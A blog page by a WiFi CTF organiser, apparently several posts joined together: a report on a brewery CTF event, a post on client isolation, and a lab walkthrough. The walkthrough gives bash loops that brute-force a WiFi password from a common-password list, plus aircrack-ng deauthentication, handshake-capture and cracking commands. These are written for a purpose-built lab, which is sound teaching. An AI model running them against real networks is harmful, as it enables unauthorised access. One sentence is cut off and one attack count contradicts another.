This past Saturday, I hosted a Wifi CTF at Big Block Brewery in Carnation WA. This was my first experiment where I could gather information about how other folks perceive my CTF. A big challenge for me is discovering what’s discoverable to participants. Running this lab would help me learn if this project is viable. The big questions are:

1. Will the lab work- are the vulnerabilities & scoring system reliable?
2. Will participants be able to figure out the IP network of the wifi network and discover targets for exploitation?
3. What kind of after-action reporting can I generate?

Did the lab work?

Yes! I arrived at about 12:20pm and had the lab up and running by about 12:55. I had a small bobble- when I arrived, it looked like I may have brought the wrong pi for the CTF: the hostname on the access point reverted back to “ansibledest.local” and only had 8 commands in it’s history. But it turned out that there was just a hostname bug in the latest build. LED animations fired up when I powered on which meant it had to have my Vulnerable AP code on there.

6 people signed up for the lab in advance of the event. 5 showed up and we ended up having 2 additional pub patrons join. I left the lab up till roughly 5pm. Here are some basic statistics from the ctf admin’s ui:

Were participants able to figure out the IP addressing?

This was a little unclear to me.

The group was able to score- so they obviously found and exploited things, but I did talk folks through the idea of a “Default Gateway” and how to look on their devices to figure out their own system’s IP and the target system. Did I taint the data? I’m not sure. I suspect a couple folks port scanned & targeted their own laptops during a network scan. I’m concerned that my presence may have been a necessary to give folks a pointer on what to explore.

What kind of after-action reporting can I generate?

I pulled logs off the vulnerable access point and did some rough analysis. Logs included the raw webserver logs as well as the database I use to track scoring & exploit attempts.

Over the course of the event, there were 7 participants with 466 exploit attempts and 28 solves. 10 out of the 23 challenges were solved by the participants. One participant- Sl0hth2 successfully achieved remote root on the access point. Sl0hth2 also was the first to successfully score in several CTF challenges, which gave him scoring bonuses. A general question would be- how many clients did we see attach/reattach? Here are some DHCP metrics:

204 of 280 DHCP entries (73%) are from a test device that periodically attached and detached from the network, which gave participants an opportunity to sniff & crack a 4 way handshake. The participant per-registration dhcp traffic was only ~76 events.

I ran a report of the First-blood modifier bonuses- which helps you get a feel for who got most “first strike” points as well as an intuition into what classes of challenges people scored on.

Now we’re ready to look into what the attack traffic was during the event. The largest volume of attack traffic was SQL injection. There is a login page and a user database query page that can be targeted for exploitation. I’ve put some effort into designing the database to be resilient to data destruction attacks- so it’s utility for “gaining root” on the device is limited. For many people, SQL injection is the ‘hello world’ of security exploitation- so I have some challenges that can be used for scoring.

Next was command injection. The solution has a web page that vends access to the ping utility. Command injection can be used to run arbitrary commands on the device- and it presents an entrypoint for doing some enumeration of the host system’s configuration and getting some remote command access.

The next most popular attack was XSS. Again- low utility for remote compromise, but a good way to grab some points.

Next we have some file-based attacks. Here we’re starting to see evidence that participants were able to modify the file system and get it to execute attacker-controlled/created code:

Finally we have some information disclosure attacks. We get evidence that participants were able to navigate to and interrogate some high value exploitation assets on the system:

So in summary, we had 154 attack attempts. Most of the focus was on Command Injection, SQL injection & XSS. Given the scoring distribution, it’s not surprising how few folks

Next Steps

I’ll be sending a note out to the participants giving folks their own scoring data if I have it.

I have a few bugs logged at https://github.com/CaptainMcCrank/wifi-ctf-bugs that I’ll increment.

I had a few more feature ideas: The web app needs to present signals of successful exploitation to the participants. I’ve put more effort into the LED- which draws walk-ons but gets little inspection by participants.

There are some edits to the documentation that need to be pursued.

I hope to have a new build ready for some testing by the end of this week. I’m looking for another location to run a beta test. If you want to partner, please reach out. You can connect with me on linked in: https://www.linkedin.com/in/patrickmccanna/

Test

Ever noticed that on some WiFi networks, you can scan and see every connected device. On others, you can only see the access point.

Why the difference? It’s because of a wifi feature called Client Isolation (aka AP Isolation).

When Client Isolation is enabled, WiFi clients are prevented from talking directly to each other. Every packet must go through the gateway first. It’s like putting each guest in their own private hallway to the router.

Security benefits of Client Isolation include:

• Client Isolation stops attackers from scanning other devices on the network
• C.I. prevents lateral movement between WiFi clients
• C.I. Blocks ARP spoofing and MITM attacks at Layer 2
  
  Coffee shops and hotels should enable Client Isolation. Many don’t. 👀
  
  Why this matters for my CTF:
  When you join a hacking competition, everyone’s running offensive tools—port scanners, exploit frameworks, packet sniffers. Without client isolation, participants could accidentally (or intentionally) target each other instead of the challenge.
  
  My WiFi CTF enables client isolation so participants can focus on hacking the intended target, not each other’s laptops. You can run Nmap all day and you’ll only see the CTF server, not your neighbor’s MacBook.
  
  Want to learn more hands-on?
  
  Join me tomorrow (Saturday) for a free WiFi CTF at Big Block Brewery in Carnation, WA from 1-4 PM. We’ll explore WiFi security, network reconnaissance, and capture-the-flag challenges on a purpose-built vulnerable network—safely isolated from each other.

🍺 Location: https://www.bigblockbrewery.com/carnation-taproom
📝 Sign up: https://wifictf.patrickmccanna.net

Bring a laptop. Grab a beer. Hack some things (legally and safely).

#cybersecurity #wifi #ctf #infosec #networking #seattle

In this lab, you will learn how to brute force the WiFi credentials of the CTF_LAB access point. This is the first challenge in the WiFi CTF competition and teaches fundamental concepts of password security and dictionary attacks.

Challenge Objectives:

• [ ] Find the wifi network
• [ ] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

BEFORE YOU START

Prerequisites:

1. The CTF Lab Raspberry Pi must be powered on and running
2. The WiFi Access Point should be broadcasting (wait ~1-2 minutes after power-on)
3. You should have a laptop or mobile device capable of WiFi scanning
4. IMPORTANT: DO NOT PERFORM THIS WORK ON A CORPORATE OR MANAGED LAPTOP. Use a personal computer you own, as security/IT teams may flag hacking tools as malicious software

What You’ll Learn:

• WiFi network reconnaissance
• Password dictionary attacks
• Command-line automation with loops
• The importance of strong passwords

Discovering the WiFi Network

The Raspberry Pi CTF Lab operates as a WiFi access point that you can practice ethical hacking against. About 1-2 minutes after it is powered on, it will broadcast a WiFi network with the SSID (network name):

CTF_LAB

Finding the Network

You can discover this network from any WiFi-capable device:

On Mobile Devices (iOS/Android):

• Open Settings → WiFi
• Look for the network named CTF_LAB in the available networks list

On Mac:

• Click the WiFi icon in the menu bar
• Look for CTF_LAB in the network list

On Linux:

# Scan for available networks
nmcli device wifi list

# Or use iwlist
sudo iwlist wlan0 scan | grep -i "ctf_lab"

On Windows:

• Click the WiFi icon in the system tray
• Look for CTF_LAB in the available networks

Progress:

• [x] Find the wifi network
• [ ] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Manually Guessing a Password

Now that you’ve found the CTF_LAB network, you can try connecting with some common passwords. Try a few guesses manually:

• password
• 12345678
• admin
• ctf
• supervisor

Unless you’re very lucky (or very strategic), you probably won’t guess it immediately. This demonstrates an important security principle: password strength matters.

Why Dictionary Attacks Work

You might wonder why manual guessing is ineffective, but a dictionary attack can succeed. Here’s the key insight:

Password Space vs. Memorable Passwords

• Total possible passwords: With lowercase letters, uppercase, numbers, and symbols, an 8-character password has over 200 trillion possible combinations
• Memorable passwords: Most people choose passwords they can remember, which drastically reduces the search space to maybe a few million common choices

Since humans tend to use memorable passwords (dictionary words, names, common phrases), attackers can:

1. Start with a list of commonly used passwords
2. Try these first before resorting to true brute force
3. Often succeed without testing billions of random combinations

This is why password managers and randomly generated passwords are so important for real security!

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [ ] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Finding a Dictionary

Let’s try to find a common password list. You can do this by searching google for the following phrase:

“10k most common passwords”

you should see a link to a github repository show up that’s at the following url:

https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/10k-most-common.txt

Browse to the page. Click on the button labeled “raw” on the right side of the page. You can then save this file to your computer by clicking on the file menu for the browser and selecting “save as.”

When you click on Save as, a dialog will show up:

You’ll need to create a directory for starting our hacking. You can do this from within the dialog by clicking on New Folder. Name it HackingLab and click Create.

Then go ahead and click on save. You’ll now have a file called “10k-most-common.txt” in the Hacking lab direcotry. Let’s learn to view the file from the command line. Let’s use spotlight to open up the terminal by hitting command and space simultaneously, and then typing in terminal:

Change into your HackingLab directory by typing the following:

cd HackingLab Now that you’re in the HackingLab directory, let’s view the password file:

more 10k-most-common.txt

You’ll see that each row of the file contains a password.

Hit q to leave the more command.

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [ ] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Finding a Command to Connect to WiFi Networks

Now we have a password list – we need to figure out how to automate connection attempts. The approach varies by operating system:

Mac OS

Search Google for “Connect to wifi from command line mac” to find resources. Here are the key commands:

Scan for networks:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s

Connect to a network:

networksetup -setairportnetwork en0 <SSID_OF_NETWORK> <PASSWORD>

Try running the airport -s command to see available networks. You should see CTF_LAB in the list.

Testing a single password:

networksetup -setairportnetwork en0 CTF_LAB somepassword

When you run this, your WiFi will disconnect temporarily. If the password is wrong, you’ll see an error message.

Linux

Using nmcli (NetworkManager):

# Scan for networks
nmcli device wifi list

# Connect to network
nmcli device wifi connect CTF_LAB password somepassword

Using wpa_supplicant (manual):

# Create config
wpa_passphrase CTF_LAB somepassword > /tmp/wpa.conf

# Connect
sudo wpa_supplicant -B -i wlan0 -c /tmp/wpa.conf

Windows (PowerShell)

# View available networks
netsh wlan show networks

# Connect to network
netsh wlan connect name="CTF_LAB"

For automated password testing on Windows, you’ll need to create a WiFi profile XML file for each password attempt, which is more complex than on Mac/Linux.

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [x] Find a command to use to connect to wifi networks
• [ ] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [ ] Launch the attack and discover the credential

Automating the Dictionary Attack

Now for the exciting part – we’ll automate the password testing using a loop that tries each password from our dictionary file!

Mac OS Script

At the terminal, type the following lines and hit Enter at the end of each line:

while read passwordfilevalue; do
  networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"
  ifconfig en0 | grep inet
  echo "Tried password: $passwordfilevalue"
done < 10k-most-common.txt

What this script does:

Command	Purpose
while read passwordfilevalue; do	Creates a loop that reads the password list one row at a time
networksetup -setairportnetwork en0 CTF_LAB "$passwordfilevalue"	Attempts to connect to CTF_LAB using the current password
`ifconfig en0	grep inet`
echo "Tried password: $passwordfilevalue"	Prints the password we just tried
done < 10k-most-common.txt	Reads from the password dictionary file

How to detect success:

• When you see an inet line with an IP address (like inet 192.168.4.100), you’ve connected successfully!
• The password printed immediately before the IP address is the correct one
• The CTF_LAB network uses the 192.168.4.0/24 subnet, so successful connections will show an IP like 192.168.4.X

Linux Script

while read passwordfilevalue; do
  nmcli device wifi connect CTF_LAB password "$passwordfilevalue" 2>&1
  if [ $? -eq 0 ]; then
    echo "SUCCESS! Password found: $passwordfilevalue"
    break
  else
    echo "Failed password: $passwordfilevalue"
  fi
done < 10k-most-common.txt

Advanced: Using Aircrack-ng Suite (Linux)

For a more sophisticated approach, you can capture the WPA2 handshake and crack it offline:

# 1. Put WiFi adapter in monitor mode
sudo airmon-ng start wlan0

# 2. Scan for networks
sudo airodump-ng wlan0mon

# 3. Capture handshake (note the channel and BSSID of CTF_LAB)
sudo airodump-ng -c <channel> --bssid <BSSID> -w ctf_capture wlan0mon

# 4. In another terminal, deauth a client to force handshake
sudo aireplay-ng -0 1 -a <BSSID> wlan0mon

# 5. Once handshake is captured, crack it
aircrack-ng -w 10k-most-common.txt ctf_capture-01.cap

Progress:

• [x] Find the wifi network
• [x] Manually guess some passwords
• [x] Find a dictionary
• [x] Find a command to use to connect to wifi networks
• [x] Figure out how to push the passwords from the dictionary file into the wifi connection command
• [x] Launch the attack and discover the credential

What You Should See

As the script runs, you’ll see:

• Each password being tried
• Connection errors for wrong passwords
• When successful: An IP address in the 192.168.4.X range appears!

The password is somewhere in that 10k common password list. Watch the output carefully to catch the successful connection.

Hint: Think about common passwords related to oversight, management, or authority. The CTF_LAB password is a common English word.

Next Steps

Once you’ve successfully connected to the CTF_LAB WiFi network, you’re ready to:

1. Scan the network to find a registration resource
2. Register
3. Access the dashboard
4. Begin exploring the web services and system challenges
5. Start earning points!

Congratulations on completing your first challenge! You’ve learned:

• WiFi reconnaissance techniques
• The power of dictionary attacks
• Why password strength matters
• Basic bash scripting for automation